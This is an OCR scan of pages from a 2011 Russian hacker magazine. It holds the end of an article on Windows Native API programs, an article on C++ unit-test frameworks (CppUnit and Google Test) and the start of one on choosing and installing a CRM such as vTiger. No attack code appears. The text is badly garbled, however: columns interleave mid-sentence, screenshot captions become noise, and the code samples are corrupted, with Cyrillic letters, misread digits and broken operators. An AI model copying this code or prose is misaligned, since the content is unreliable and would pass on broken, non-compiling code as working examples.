у меет, как видно из названия, прописывать команду, выполняю­

неактивенl. Поэтому подавляющее большинство утилитWiпdоws

щ у юся при запуске , то есть выполня т ь за п ись в ключ реестра

за п уститься не смогут, за исключением лишь немногих программ,

BootExecute.

таких как autochk.exe , autofmt.exe lаналоги Wiп32-утилит chkdsk.exe

Библиотека

ntreg корейского программиста rodream содержит набор

фу нкций для работы с реест ром

- доста точно просто п одключить к

своем у проекту файлы

ntreg.h,

ntreg.c

и

и программа может в него

и format.exe для проверки и форматирования дискаl, srd elayed.exe Iпрограмма отложенных операций с фаЙламиl. Чтобы запустить из паtivе-программы другую такую же программу, ис­

читать и писать. В этой б и бл и отеке отсутствует фу н кция вывода спи­

пользуется функция

ска ключей и з н ачений из заданной ветки реестра, но, к счастью, ее

запускаемого процесса в виде структуры ти п а

несложно написать самостоятельно.

PARAMETER5, которая инициализируется специальной функцией

Чтобы узнать, какие п одкл ючи есть у какого - либо ключа, ис п ользуется

Rt lCreateProcessParameters. Именно в эту структуру помещают

функция

RtlCreateUserProcess. Ей передаются параметры

полный путь к исполняемому файлу в

NtEnumerateKey.

RTL_U5ER_ PROCE55_

NT -формате, название для ото­

бражения в списке процессов и командную строку приложения.

NTSYSCALLAPI NTSTATUS NTAPI NtEnumerateKey(

После запуска функция помещает параметры процесса в заранее

IN HANDLE KeyHandle,

приготовленный буфер

IN ULONG Index,

да берется тред потока и передается в функц и ю

Отту­

RTL_ U5ER_PROCE55_ INFORMATION.

NtResumeThread,

IN KEY_INFORMATION_CLASS Keyl nformationClass,

чтобы поток начал выпол н яться. С этого момен та новый процесс

OUT PVOID Keylnformation,

запущен.

IN ULONG Length,

Перед запуском процесса не п лохо бы отключаться от обработки

клавиатуры, то есть закрыть ее хэндл, а также хэндл обработки ее со­

OUT PULONG ResultLength

бытий. Это позволит вновь запуще н ному приложению обрабатывать

);

клавиатуру самостоятельно, без дублирования обработки в шелле. Имена подключей будут браться из указателя н а структуру К ЕУ_

Восстанавливать ко нт роль над клавиатурой можно после заверше­

NOOEJN FORMATION. В п ара метр KeylnformationClass записываем

ния запущенного процесса. Чтобы дождаться завершения процесса,

константу

нужно всего лишь извлечь его хэндл из поля

KeyNodeln format ion,

в пара метр

Keyl nfo r matio n п омещаем

указатель на структуру. Код для получения всех подключей в итоге

будет выглядеть следующим образом:

ры

ProcessHandle стр укту­

RTL_U5 ER_PROCE55JNFORMATION и передать его в функцию

NtWaitFor5ingleObject, которая приостановит выполнение текуще го процесса до завершения за п ущен н ого.

ULONG ResultLength, i

=0;

Для проверк и возмож н ости запуска п ро ц ессов мож н о запустить

autochk.exe так,

char buf[BUFFER_SIZE]; PKEY_NODE_INFORMATION pki =

(PKEY_NODE_INFORМATION)buf;

этого следует в

чтобы запуст и лась проверка системного диска. Для

RtlC reateUserProcess передать следующие строки:

• имя для отображения в списке процессов: autochk.exe while (STATUS_SUCCESS

==

NtEnumerateKey(hKey, i++,

KeyNodelnformation, pki, BUFFER_SIZE, &ResultLength))

{

• командная строка: autochk.exe /р \ ??\С: • п олный путь: \ ??\С :\windows\system32\autochk.exe

Итог Nаtivе - приложения

}

-

это самый низкий уровень взаимодействия

приложения с системой в п ользовательском режиме. Режим Внутри это го цикла очередное имя подключа доступно как строка

WCHAR pki->Name,

ее можно выводить на экран или сохранять в

паtivе-загрузки сочетает в себе почти неограниченный доступ к потрохам системы с возможностью выполнять разли чн ые действия

какой-н и будь внутренний с п исок. П охожим образом можно полу­

в интерактивном р ежиме. Я уверен , что освоив написа ни е п рограмм

чить список всех з н ачений, содержащихся в ключе реестр а, только

на чистом

используется другая функция

применениЙ. :х:

ХАКЕР

04/147/2011

NtEnumerateValueKey с константой

Native API, ты

найдешь для них множество интересных

~

115


Программерские типсы и триксы о Ошибки есть в любых программах. В одних больше, в других меньше, но они есть. Для отлова

багов все программисты тестируют свои творения, проверяя корректность работы кода в тех или иных условиях. Но чем больше и сложнее проект, тем труднее заниматься поиском ошибок и ре­ факторингом, поэтому было придумано модульное тестирование.

В чем же состоит основная суть технологии юни т-тестирования? Ее

В среднем на одну стр о чку основного кода приходится три строки с

реализация п одразумевает под собой разбиение код а на изолиро­

тестовы м . Некоторые подумают, что такие усилия себя не оправдыва­

ванные части и тести р ование каждой из них по отде л ьности. Ко н ечно,

ют, и возможно даже будут п равы. Дело втом, что модульное тестиро­

подвергать проверке стоиттолько более-менее сложные куски кода

ваниестоитприменятьтольковтомслучае,еслионоснижаетвремя

твоей программы, писать тесты для функции умножения натурального

на отладку, дает возможность поиска ошибок с меньшими затратами,

числа н а два не стоит

нежели при др у ги х подходах , или обеспечивает дешевый поиск о ши ­

Такой подход позволяет программистам без стр аха вносить изме­

бок при изменениях кода в дальнейшем.

нения в уже существующий код, не опасаясь его регрессии , то есть

Кроме этого, использовать юнит-тесты крайне желательно с какой­

появления н овых ош и бок в уже оттестирован н ых местах программы.

нибудь системой контроля версий

Помимо этого м ож н о добиться з начительной эко н оми и человеко­

об нар уже н ия проблем мы всегда сможе м отка т иться назад и н ачать

- например , SVN. В случае

часов на этапе тестирования кода, ведь каждый матерый кодер знает,

все заново.

что на отлов багов и всяческие проверки уходит до

Автоматизация в этом процессе крайне важна. Скажем , можно напи­

80% времени,

затраченного на п роект в целом.

сать ск ри пты , которые каждую ночь будут за г ружать из хранилища по­

Преимущества

тестирование и прочее. Наутро будет видно, насколькоудачно прошел

следн и е версии исходников, компилировать их , проводить модульное

....

ю ит-Т"еctирования

предыдущий день.

По ми мо того , что uпit-тесТbI дают программисту уверенность пр и ре­

Но эта статья н е протехнологию uпit-тестирования. В сети д остаточно

факторинге кода и расширении его фу н кц и ональности, есть еще ряд

материалов, чтобы подробно ознакомиться со всеми н юансами мо­

плюсов , о которых стоит рассказать. Прежде' всего, это отделение ин­

дульного отлова багов. Мы же сегодня рассмотрим готовые фрейм­

терфейса от реализации. Очень часто одни классы используют функ­

ворки дЛЯ С++, которые служат основой для ю н ит-тестов.

ции других . Это абсолютно нормально, н о в модульн ом тести ро вании такое недопустимо. Если мы проверяем работу какого-либо класса , то

CppUnit

эта проверка не должна распространяться на другие. Например, если

Наверное, один из самых известных unit-test фреймворков дЛЯ С++.

тестируемый класс пользуется базой данных, то в

Он основан на

unit - test

мы должны

JUnit - библиотеке для модульного тестирования под

абстраги рова ться от нее, заменив БД загл ушко Й . Такой подход пр и ­

Java. Несмотря на свою высокую популярность, CppUnit является

водит к менее связному коду и минимизирует зависимости в системе,

достаточно сложной системой, и чтобы начать работать, придется

что является несомненным преимуществом

-

ошибка в одном месте

прочитать изрядное количество документации.

программы н е привод и т к багам в другом.

Давай попробуем немного разобраться с ним. Для напи сания про­

Также uпit-тесты можно использовать как «живую» документацию к

стейшего теста на м понадобится класс

существующему коду. Проще говоря , в качестве примеров. Програм­

служить базовым для уже реального тестового класса. Унаследовав

мисту, который в дальнейшем будет сопровождать наш код, не соста­

TestCase, мы должны п ереопределить метод гuпТеst[) , который и будет

вит особого труда разобраться во всем хит р оум н ом план е [к тому же ,

выпол н ять основную работу.

TestCase, который будет

через полгода-год м ожно и самому забыть, какже эта штука должна

работать и что с ней надо делать). Ну и наконец, подобные тесты помогают более четко представить задачи, стоящие п еред кодером, при водят е го мозг в тонус и помо гаю т

войти в рабочий ритм.

Немного тонкостей

Использование CppUnit:: TestCase class ComplexNumberTest : public CppUni t: : TestCase { public : ComplexNumberTest ( std:: string пате ) CppUnit: :TestCase( пате )

В идеальном случае ю ни т-тесты следует писать на этапе проектирова­

{

ния того или иного модуля . То есть, сначала мы определяем функцио­

}

нальность класса/модуля, затем пишем тесты под него и только потом основной код. Время на разработку в этом случае увелич и вается , но

void runTest()

зато значительно повы ш ается эффективность. Это называется «раз­ работка через тестирование».

~ 116

CPPUNIТ_ASSERT(

Complex (10 , 1 ) == Complex ( 10 , 1 ) ); ХАКЕР

04 /147/ 20 11


------------

13"-

<1-

'1

-===----'-_.~:~ "-I

'--,~;-

}i:i ~

-------------~ !

....... ""

I"OIЮ С",",",

~.;-.- ~ --~---~---~ s..._ .. ,

u,..I .... "" .....

... ,............_ .. .. ... _ "'".LIIIf ......._Su,oooI._",

Ma!n Page

GoogI.·.~_"'.......,C

. _._._-...-

... I!......... _ _ ,[Dк_,:ro8)_t •• _

t O<l< ......

_._ror_",.'. . . _JqJ ............. (\,IrмOt . IN<OS ~

,... .... _ ~

,..,""''9'''i_............ _,... _

...... _., ... _ _ ."", ...,bt"",q1 . . .

f """<IIo<k," ,,,,~I( '

'''''"''' 6' '''''''''''''''

~

.." I. . _"' ...... "!t1II • •

..

....,- . . . ....... r....

~. lntWr9-

lNt!o

iIr.

Utilng

_ ~

. ..... ...

.............. ._.cIo..,,!...... ...._ .. __ :c. W_.C,.... . _Cl:

oocIXWL!..'~ ... _

Geltingst.t.d IIEoЧIoE.

_

......___

~finoI

~8nМ ..

.....,

......

"'"_oI.... _,.,.J

т ••11

Googl.

, - . ~""',.

. ""

,_ C "" . ~

........

_._-

<

!

:

й

.

:

u

w

I

'

.

1

. Tho ~ _ _ (IIoI<"'IIIoС-_ .. ono!С_OS)

F•••

i

......

_____

1!. . .... Ч1- .. .<_I ~ . , f* I s.e:;a -

sourCEf On;Jl2

· ~ lGootIo"_

..~~

..

f,..."'-d._d ....... _~r I0n0!_ . IoI>o ...!• • ..,o o ..,l.~

What is CppUnit?

.

C"'I.Ы

• • c ••

_ (Uмr

... "I . IPt<>9t_,Т"'~ . """ rс ~r••·f..' ' ' .. II>ot-w.Н_ ... С2.._

_ .pI.... 1oI

QoogI. T•• t., ....d op.n tiourc. projectti

..."fl/Ihf._ ......... .OII.., .. "' ••• ,..,oj JJoo""'c•• by'"'clloolr._'.. . .... _<l_'.... _CpP.hl._....:II.c._" .. ,,.......

• _ _ _ f .. .., .. ...иIloo"'_'

•• tf ~ _._<ke..,_..,I • ..,<ou~.c:o.,,_

~

.. ,"'_ .... ,..,...,... ......,._,...,.Ir.. ........... _.,.......

CIi<I<"'I ... _._,..... '..tGooojl . rНlla io _ .... c.

1

~

bot. .... ""' ...

,..hI.,'. . _

. JOoII._"""' ......... Ioo_d>t.OS' _ _ _ _ io ....... , 101 ............ 'iXnjj •

Сайт

С-. 1 '"",,,,, t . . .."... _

... юе

Официальная страница

CppUnit

Google с++ Tes1ing Framework

void setUp()

Ссылки • Официальная страница Goog le С++ Testing Framework: cod е . 9 oog [е . со m(g(goog [е t est ;

т_18_1

= new Complex( 18 , 1 ); = new Complex( 1, 1 ); т_11_2 = new Complex( 11 , 2 );

• Официаль ная страница CppUnit: sourceforge.net(aggs( mediawiki(cggun it(index.ghg .

т_1_1

void tearDown() CPPUNIТ_ASSERT(

! (Complex ( 1, 1) == Comple x ( 2, 2» );

delete delete delete

};

т_18_1; т_1_1 ; т_11_2;

Вроде бы все просто . но ес л и мы хотим выполнить мно го разны х маленьких тестов для одного и того же набора данных, то нам понадо ­ бится класс

};

TestFixture в связке с TestCaller.

TestFixture позволяет задать набор н ачальных данных, на которых

Чтобы за пустит ь тесты на выполнение, нам понадоб и тся класс

будут производиться тесты. Делается это с помощью переопределе­

TestCaller.

ния функции-члена se tUp [). В слу ч ае , если нам понадобится убрать за

рый использует наследников

собой [ например . освободив выделенную память) , можно воспользо­

нимает в качестве аргументов два параметра, один из которых

ваться методом tearDown[) , в коде которого нам н ужно будет вы ­

имя теста , а второй

полнить необходимые действ и я_ Для самих тесщв следует написать

ственные проверки. Для наглядности немного кода:

Это шаблонный класс , созданный в пр им ере выше, кото­

-

TestFixture.

Конструктор

TestCaller при­ -

это

указатель на метод, выполняющий непосред­

свои методы. Их может быть сколько угодно , и н азвания эт их функций

CppUnit::TestCaller class ComplexNumberTest : public CppUni t : : TestFi xture

Использование

произвольны.

Использование

CppUnit::TestFixture

class Complex {

friend bool operator ==( const Complex& double real, imaginary; public : Complex( double r, double i = 8 ) : real(r) , imaginary(i)

а,

const Complex& Ь);

public :

void testEquali ty() { CPPUNIТ_ASSERT( * т_18_1

CPPUNIТ_ASSERT(

{

==

* т_18_1

);

! (*т_18_1 == *m_11_2) );

} };

void testAddition() bool operator ==( const Complex

&а,

const Complex

)

{

return

а.

real ==

Ь.

real &&

а.

imaginary ==

Ь.

imaginary; };

class ComplexNumberTest : public CppUni t: : TestFi xture

);

{

private : Comple x public : ХАКЕР

CppUnit : : TestCaller <ComplexNumberTest > test ( "testEquali ty" , &ComplexNumberTest: : testEquali ty

* т_18_1, * т_1_1, * т_11_2;

04/147/201 1

CppUnit : : TestResult result; test . run( &result );

~

117


а Представиться /зарегистрироваться

Стап.я Обсужден~,е

Чтение

История

C-п_о_'''_К_ _ _ _ _ _ _ _--'

Модульное тестирование

ВИКИПЕДиЯ

Материал из 8и к ипедии -

C~ :шцut.:I'OnЮшr

с в ободн ой э нциклопедии

Модульное TecntpOB a Нlte кли ЮНllт.теCnlров а н"е (а н гл . ипil Заrnавная страница

testing) -

процесс в про гра .... ~ироВани~' . п оз воляющий п ро в ерип. на коррекrносn. отдельные МОДУЛИ

ис х одного кода програ~мы .

Рубрикация

Идея состоит в то .. . чтобы писап. тесты дл я каждой нетриви альной функции ми

Указатель АО-QЯ

к регрессии. то есть

Избранные статьи

Сl1'IЧайная статья

1(

.. етода .

это позволяет дocтaтO~HO быстро про верить , не п ри в ело л и o~epeДHoe изменение кода

появлению ошибок в уже оттестиро в анных мвстах пр ограммы, а также облеNает обнаружение и устранение таких ошибок

с одер_aиIIВ (убреты

Текущие события

..

Правка

1 Преимуществ а 1.1 ПоощреНilе измене н ий

У4аСnlе

Сообщить ошибке

1.2 Упрощение интегра1UIИ

06

1.3 Докумектирование

Портал сообщества

1.4

кода

Отделение интерФейса от реализаЦllИ

Фоpyw

2 Ограни~ения

Свежие правки

3 Приложения

МОдУЛьного тестирования

Новые стран и цы

3.1 Экстремальное

Справка

3.2 Техн и ка

программирование

МОдУльного тест ирования

4 Инструментарий 5 С .... также 6 Ссылки

П ожерт вования

.. ПечатЫЭIСПОРТ

..

Инструменты

..

Н а дpynm языках

Преимущества

I править l

Catala

Цель модуль но го тестирования

Cesky Dansk

Этот тип те стиро вания обычно выполняется про гр аммистами .

-

изолировать отдмоные ~асти програ ммы и покэзап., что по отдельности эти части работоспособны .

~~ D~ еu~ts~с~ h~~а-____IkUUUnАН~~.~е~~~____________________________________________________________________________________~~~~~ ~ I ~ о ~ (цВнА(IОО'11о)-

18-

Wikipedia о модульном тестировании То, что мы сейчас сделали , в терми н ологии СррUп it называется

Case.

Использовать Test

зова тестов

-

Case в

Test

CppUnit: :TestSuite *suiteOfTests = пеw CppUnit : : TestSui te( "ComplexNumberTest" );

качестве основного механизма вы­

н е очень хоро ш ее решение. Во-первых , мы не увидим

никакой информации отом, как протекаеттестирование, а во-вторы х,

suiteOfTests- > аddТеst(

TestCaller работаеттолько с одним из тестов. Но тест-кейсы можно объединить в Suite с помощью класса СррUп i t::ТеstSu i tе. Для этого у него им еется с п е циальный метод addTest, при ни мающий в качестве параметра указатель на объекттипа TestCalle r.

new CppUnit: :TestCaller<ComplexNumberTest>( "testEquality" , &ComplexNumberTest: : testEquali ty ) ); suiteOfTests- > аddТеst(

Использование

new CppUnit :: TestCaller<ComplexNumberTest >( "testAddition" , &ComplexNumberTest: : testAddition) );

CppUnit::TestSuite

CppUnit: :TestSuite suite; CppUnit: : TestResult result;

return suiteOfTests;

suite.addTest( new CppUnit :: TestCaller<ComplexNumberTest >( "testEquali ty" , &Comple xNumberTest :: testEquality) );

} };

suite.addTest( new CppUnit : : TestCaller <ComplexNumberTest >( "testAddition" , &ComplexNumberTest : : testAddi tion ) ); suite.run( &result ); В свою очеред ь, за п устит ь все наборы тестов [Test Suite! пом ожет

класс ТеstRuппег. С помощью метода addTest мы добавляем в ' ранер

int mаiп( int argc, char ** argv) { CppUni t: : TextUi: : TestRunner runner; runner . addTest( ExampleTestCase: :suite() ); runner.addTest( ComplexNumberTest: :suite() ); runner.run(); return 1:1 ;

н уж ные нам сьюты. Нодобавляем не просто так, а с помощью статиче­

ско го метода

s uite,

который возвращаетуказатель на объектТеstSuitе. Воттакая краткая инструкция по использованию этого фреймворка. В

Использование

CppUnit::TestRunner

class ComplexNumberTest : public CppUni t: : TestFixture { public : static CppUnit: :Test *s uite() {

~

118

документации к нем у ес т ь еще множество нюан сов , которые помогут

максимально подстроитьтесты под любые н ужды. Н о, как я уже сказал вы ш е , придется много читать.

Google С++ Testing Framework Еще один популярный фреймворкдля модульного тестирования

Google

С++ Теsti пg

Framework.

-

Гугл выложил е го в п убл ичный доступ

ХАКЕР

04/147/ 2011


под ВSD-лицензией в середине

2008 года, и стех пор он достаточно

ql_ oEnqueue( l );

быстро набрал а рми ю по клонников.

q2_oEnqueue( 2);

Google Test I будем называть его так для краткости l основан на методологии хUп i t , что делает его очень п охожим на

CppUn it . Но ,

q2_ о Епquеuе( З );

в

}

отличие от последнего, гугловские 'тесты проще в использовании,

а потому позволяют сосредоточиться на разработке кода тестовых

/ / virtual void TearDown() {}

функций, а не инфраструктуры для их использования. Как и в

CppUnit,

минимальной единицей тестирования являет-

Queue <int > qe_;

ся одиночный тест. Каждый тест основан на утверждении в виде

макроса

Queue <int > ql_;

- например, ASSERT _ TRUE или ЕХРЕСТ _GE. Утвержде­

ния бывают фатальные и не фатальные. Фатальные макросы вида

ASSERT _ххх

Queue <int > q2_; };

приводят к остановке процесса тестирования, а не­

фатальные lили мягкиеl утверждения вида ЕХРЕСТ _ххх позволяют

Для создания теста, и спользующего класс набора данных , на м приго­

довести тесты до конца, просто выводя информацию об ош иб ке.

дится макрос TEST_FI I. Аргументы , передаваемые TEST _F , анало г ич­

Для создания од н о го элеме нтарн ого теста нам понадобится макрос

ны тем, что используются в TE ST!I, за единственным исключением

TEST Первым его пара метром яв ля ется имя набора теста, а в торым

- имя набора теста должно совпадать с именем тестового класса.

- имя теста. Тесты, схожие по смыслу, должны группироваться в

Главное тут не перепутать TEST с

наборы. Для примера взглянем на код:

на этапе компиляции.

Использование макроса

int Factorial ( int

Использование макроса

TEST()

п);

//

Счи тает факториал

n

TEST_F, иначе мы получим о ш ибки

TEST_F()

TEST_F(QueueTest, IsEmptylnitially)

{ П ро верить фаКТОРИ'ал от е о

//

TEST(FactorialTest, HandlesZerolnput) { TEST_F(QueueTest, DequeueWorks)

EXPECT_EQ( l , Factorial( e »;

} int * п ро верить факториал н екоторых положи тельных значений о

//

п:

qe_oDequeue();

EXPECT_EQ(NULL,

п) ;

TEST(FactorialTest , HandlesPositivelnput) n : ql_o Dequeue();

{

В

EXPECT_EQ( l , Factorial( l »;

ASSERT_TRUE(n !: NULL);

EXPECT_EQ( 2, Factorial( 2»;

EXPECT_EQ( l ,

ЕХРЕСТ_ЕQ( б , Fасtоriаl( З »;

EXPECT_EQ( e, ql_osize(»;

ЕХРЕСТ_ЕQ( 4еЗ2е ,

delete

Factorial( B»;

* п);

п;

Google Теstтакже имеются и fixt ure, то есть классы для исполь­

зования единой конфигурации в нескольких тестах. Такие классы являются потомками и

::testing::Test, у которого имеются методы SetUp

TearDown для инициализации и освобождения ресурсов соответ­

ственно. Это очень похоже на то, что мы делали в

TestFixture в CppUnit.

Ну и, наконец, для запуска всех описанных тестов можно воспользо­

ваться макросом RUN_ALL_TESTSII. Простота Google Test заключает­ ся в том, что не надо никаких дополнительных движений по добавле­ нию функций в какие-либо контейнеры и прочее. Все, что описано с

Использование макроса

template <typename

Е>

::testing::Test Е

//

-

помощью макросов, выполнится при вызове

cla ss Queue

Использование макроса RUN_ALL_ТESTS()

{ public : Queue() ; void Enqueue( const

int main( int argc, char ** argv)

//

Во звращает

Е*

Dequeue() ;

RUN_ALL_TESTS.

тип элемента

{ : : testing: :I nitGoogleTest(&argc, argv); Е&

NULL,

element) ;

return RUN_ALL_TESTS() ;

если о чередь пу ста

size_t size() const ;

Самые ленивые могут не писать свою собственную функцию

main , а

воспользоваться готовой из гугловского набора. Для этого достаточно

лишь прилинковать библиотеку gtest_main.

};

Заключение Определ я ем т естовый кл асс

//

class QueueTest : public ::testing::Test

Н абор ф р еймворков для ю нит-тестов н е ог раничи вается прив еде н­

ны м мини-списком. Ест ь еще

Boost Test , CxxTest , AP I San ity Autotest

для динамических С/С++ библ и отек в Uпiх-подобных ОС и множество других. Описать все их особенности в одной статье просто невоз­

protect ed :

можно. Главное, что у того, кого по-настоящему заинтересует

Unit

virtual void SetUp()

Tests или разработка через тестирование , всегда будет нормальный

{

выбор. :х:

ХАКЕР

04/147/ 20 1 1

~

119


• •

Сергей

«grinder»

Яре м чук

(g r ind er fa tu x .in . ua l

Охота ателя Выбираем CRМ для своей организации в один прекрасный момент начальство решает, что пришло время вести бизнес по-современному, вследствие чего нам, айтишникам, необходимо снабдить маркетологов компании эффективным инструментом - CRM. Несмотря на то, что о CRM говорят давно, и информации, казалось бы, пре­ достаточно, успешных примеров такого внедрения не та к много. Ряд советов помогут тебе обойти основные препятствия и не наломать дров .

Зачем нужен

CRM?

принесет. Хотя , с другой

Система управления вз аимодействием с клиентами (CRМ ,

Customer Relationship Management System) -

информ ационная

CTOPOHbI, В CRМ использованы луч ш ие

нар а ботки по менеджменту, п оэтому совсем сбрасывать его со счетов не стоит. Нужно лишь помнить , что в п р оцессе внедрения

система , содержащая базу данных клиентов и историю взаимодей­

возможно придется провести серьезную работу по реорганизации

ствия с ними (кто , что и когда купил; а если не купил, то почему;

большинства бизнес-процессов компании, отказ аться от CTapblX

н овые обра щения и так далее). В итоге , зная все интересы по­

ПРИВblчек и приобретать

купателя , можно более эффективно вести с ним дела , подталкивая

дол ж ны четко понимать , зачем внедряется новая система и какие

различными способами к дальнейшим приобретениям (напомнив

преследуются цели.

HOBble наВblКИ . Работники и руководство

об акциях, новых товарах или просто поздравив с днем рождения) .

Ин аче мы получим лишь «улучшенный планировщик» для менед­

Несколько лет назад подобная система считал а сь уделом круп ­

жеров продаж, ведь изначально CRМ боль шинством п ользовате­

ных компаний, а выбором и внедрением CRМ занимались , как

лей в оспринимается как « просто еще одна программа » .

правило, специальные ф ирмы, предлагающие готовую конфигу­

Внедрение CRМ имеет еще одну не всем очевидную пользу : защита

рацию . Не всегда п р едложенное решение удачно СОСТblКОВblвалось

и сохранение данны х компании

с бизнес-процессами, хотя после традиционных плясок с бубном

Любой менеджер собирает информацию о клиентах, и если для

большинство неувязок обычно удается решить , в том числе и

обобщения используется эксель, то в случае перехода менедже-

научить менеджеров работать с ним . Но сегодня ситуация в корне

ра в другую фирму этот файл «уйдет» вместе с ним . Обычно база

изменилась . На

pblHKe предлагается не один десяток готовых ре­

клиентов -

-

в частности, д а нных о клиентах.

это хлеб менеджера , КОТОРblЙ кочует из компании в

шений, имеющих различную функциональность, типы лицензий

компанию. В ито ге однажды можно оказаться без базы клиентов .

и требования к системе и серверу. Что , с одной CTOPOHbI, позволяет

CRМ же практически полностью снимает зависимость баЗ bl от

выбрать оптимальное для конкретной организации ре ш ение , а с

конкретного менеджера, которого можно сместить, перевести или

другой -

уволить. Кстати, они са ми это п р екрасно понимают, а потому часто

как р аз таки усложняет Вblбор.

Ситуация усложняется еще и тем , что обще принятого стандарта,

описывающего, каким должен бblТЬ Функционал СRМ-системы, нет. Поэтому под этот термин попадают приложения совершен-

саботи руют новинку.

Собираем данн.ые.

CR'м

но разного уровня, от самых простых, имеющих лишь баз овую

ДЛЯ В}fедреftия

функциональность, до навороченных программ с большим количе­

Внедрение любой информационной системы может быть неудач­

ством самых разнообразных фич (аналитических, коммутацион ­

ным , если изначально не про извести анализ текущей ситуации ,

ных и прочих) .

не р азобраться с тем, что уже есть , и , главное , с тем , что ожидается

Более продвинутые р ешения уже далеко отошли от концепции

получить. Без этого не п олучится сориентировать персонал и

вроде «список контактов плюс история взаимоотношений " . Сегод­

правильно подобрать готовое решение . Или внедрение затянется,

ня в CRМ доступны такие функции, как со п ровождение заказов,

то значит и вложеННblе в CRМ средства не окупятся за ожидае­

аналитика, планирование, отчеты, модули обратной связи, а также

мый промежуток в р емени. Каждая организа ция индивидуальна,

вспомогательные функции -

сканер электронной почты , связь с

поэтому все, что срабатывает в одном случае, не обязательно «вы­

VoIP, синхронизация с внешними устройствами и многое другое.

стрелит» в другом . И тем более разные требования будут в фирмах

После первого бума CRМ п р ишло пони.мание , что это все-таки не

разного п р офиля -

панацея , и внедрение такого продукта еще не означает автомати­

Поэтому, если принято р е ш ение воспользоваться услугами ин­

ческое увелич ение роста продаж . Особенно это з аметно в случае

тегратора , то следует внимательно присмотреться к его методам

низкой квалификации персонала и слабовостр ебованного р ынком

работы . Если с ходу навязывают готовое решение -

продукта. Как и любая программа , CRМ -

компании следует держаться подальше . Хотя, в любом случае,

это лишь инструмент,

продажи , услуги итакдалее .

от такой

реализую щий определенную идеологию (в данном случае­

сторонний интегратор не сможет полностью вникнуть во все сто­

идеологию взаимоотношений с клиентами) , уп р ощающий сбор

РОНь! бизнеса, а эффективность CRМ зависит в большей сте п ени от

и последующий анализ инфо р мации . Но сама клиентов она не

специфики менеджмента компании, чем от П.

~120

ХАКЕР

04 / 147/2 0 11


Установка Пакета с

vTiger CRM

vTiger CRM

в

Ubuntu 10.04

в репозитарии дистрибутива

для некоторых файлов из архива

нет Поэтому админу придется производить установку вручную .

установки в

Ubuntu www/vtigercrm) :

vTiger CRM.

ДЛЯ

вводим lархив распакован в

/var/

Apache

с

10% вн едрений CRM $ sudo apt-get install php5-gd php5-imap $ sudo chown www-data:www-data /var/www/ vtigercrm

MySQL. В этом случае необходимо IB основном У или N) на

будет лишь ответить

при з нают удачными .

Вн едрение

Wiza rd.

MySQL,

и валюту. Далее визард предлагает выбрать модули.

и

MySQL,

а также других

,

устанавливаем пароль админа

vTiger CRM

к

помощи сырцов. Это удобней, так как для обновления

Apache

модуль русского языка и указываем на файл в меню

дистрибутива. В этом случае просто распаковываем

«Setting ~ Module Manager ~ Custom Modules ~ Import New». Не забудь убрать или переименовать файл install.php и каталог install. vTiger CRM использует еще ряд компонентов, распространяемых под OpenSource лицензией .

vTiger CRM

в каталог веб­

сервера и набираем в браузере нужный

URL.

Мастер настройки IСопfiguгаtiоп

стандартен

Wizard)

для такого рода приложений. Самый главный этап

проверка параметров

IPre Installation Check).

-

Скрипт

проверит наличие необходимых для работы модулей

Этот объемный список можно получить, запустив

РНР, настройки в рhр.iпi, а также права доступа

установочный Ып-скрипт.

Внедрение своими силами происходит дольше, ведь

CRМ начального уровня и позволяют менеджерам от­

порядок дешевле, причем даже в том случае, если при­

слеживать контакты клиентов, а руководству

дется нанимать стороннего специалиста (например,

тролировать персонал организации. Но сегодня

программиста, чтобы связать имеющиеся продукты с

чистом виде практически не вст реч аются.

CRМ),

На предприятии наверняка уже есть некоторое подо­

Руководить процессом должен кто-то из менеджмента

бие CRМ -

компании, поддерживающий идею и понимающий

ном виде, базы

конечные цели. Только так соберем именно такую

факт и вызывает постоянные споры о необходимости

систему, кото р ая будет покрывать все потребности.

CRМ. Зачем еще что-то, если все что нужно уже есть и

-

кон­

SFA в

записи на обычной бумаге или в электрон­

1 С, Ехсеl и так далее. Собственно, этот

Это важный момент: если функциональности не будет

его хватает? Тем более, что теперь на пользователя воз­

хватать, или наоборот, если Функционал излишен и

лагаются дополнительные обязанности вроде фикса­

невостребован -

ции звонков, детализации данных и так далее.

значит, усилия и средства потрачены

зря. На этапе аудита вполне может оказаться, что орга­

Во время аудита собираем данные о том, в каком виде

низация не нуждается в полноценном CRМ, а достаточ­

хранится информация о клиентах -

но SFA

импортировать в CRМ, это только упростит процесс

(Sales Force Automation System или Sales force

04/147/2011

компании.

management systems). Последние, по сути, являются

основную работу никто не отменял, но обойдется на

ХАКЕР

д е ржат работники

Вот и все . Регистрируемся в системе, скачиваем

компонентов можно использовать репозитарий

архив с исходниками

не

ес ли его н е под­

На следующем этапе указываем данные для доступа

Опытный админ вероятно предпочтет установку при серверов

CRM

при нес ет результата,

несколько простых вопросов. В конце получим ссылку для входа в Сопfiguгаtiоп

info

П о статистике лишь

Проект предлагает Ып-скрипт, который поможет установить все сопутствующие компоненты, в том

числе и

~

если их можно

~

121


~e:

".

4lftiger ..

.:

... C ,lIи~ .1COl,n}1}S ~

vtiger CRM

.

~OIМ' . ~WIrМI . .......... o..a . llladltllteto.

....

-.::!j <.!

~аЙ1l !1равка ЗИД Журнал 3акладки Ин струменты .справка

~

.. . е

iiI :"httP:/tlос.lhOstМlg.rcmvlпst'll .php··--

Q Q

- -;

(j. , vt19ёr

EI ten !4 ion ~

МsМфIвc& lorfr&8 ar'IС! corm'IefCIe! эOdons

Our Commullications : MobIle CRM : vTiger.com

--

SortIr.I,_ . Xf. It Mod

aXмXMod

Pre InstaJlation Chec:k

1,1

'-1Мd 18 .",*CfIIIIIIIIInIIOI\ 'Мth"'lIowjVll'flICI . . ~ torn}"OUfCRllltmtm.

Wlll IIbI_

00".........

'tIII ...... Мlllltta иna .... lOyow . . ...i/f .. . 'IIМ

cutlOmeft,~,. ICIII OI8C~

-----

....... 1II.mм,

.9.м.з.

gat.W8V (о, SMSNotlfl.r

\ftfJIonltll)J

---

-.-

--

Yll1IOII5 I If!C('13)

WIJIon ... ,

CheckAgeln

, , О)

v•• tooIIS.01(H) Vtlslon 6.2(11) _lI0II511(15)

~0IМ5 - contIlI.uatiar1W1wd .

Функциональность vТiger CRМ легко расширить при помощи модулей ....

_ _ · КI.I; rpobм . ~ """" . "","CllМJ

промежуток времени тяжело досконально изучить систему и по­

Q ~ ;j[httр : mос,l hostМigеrumЛпdе х.рhр1 modulе =s еttlпg s&.cti

Самые ПОПУl1ЯРНые ..

li) Gettlng Started

Ilt .. ivtiger

---

l atest Headtlnes ..

vtl er.tom: Russlll'l ... О ~ ~min . настройки ... О

Configuration

Wizard

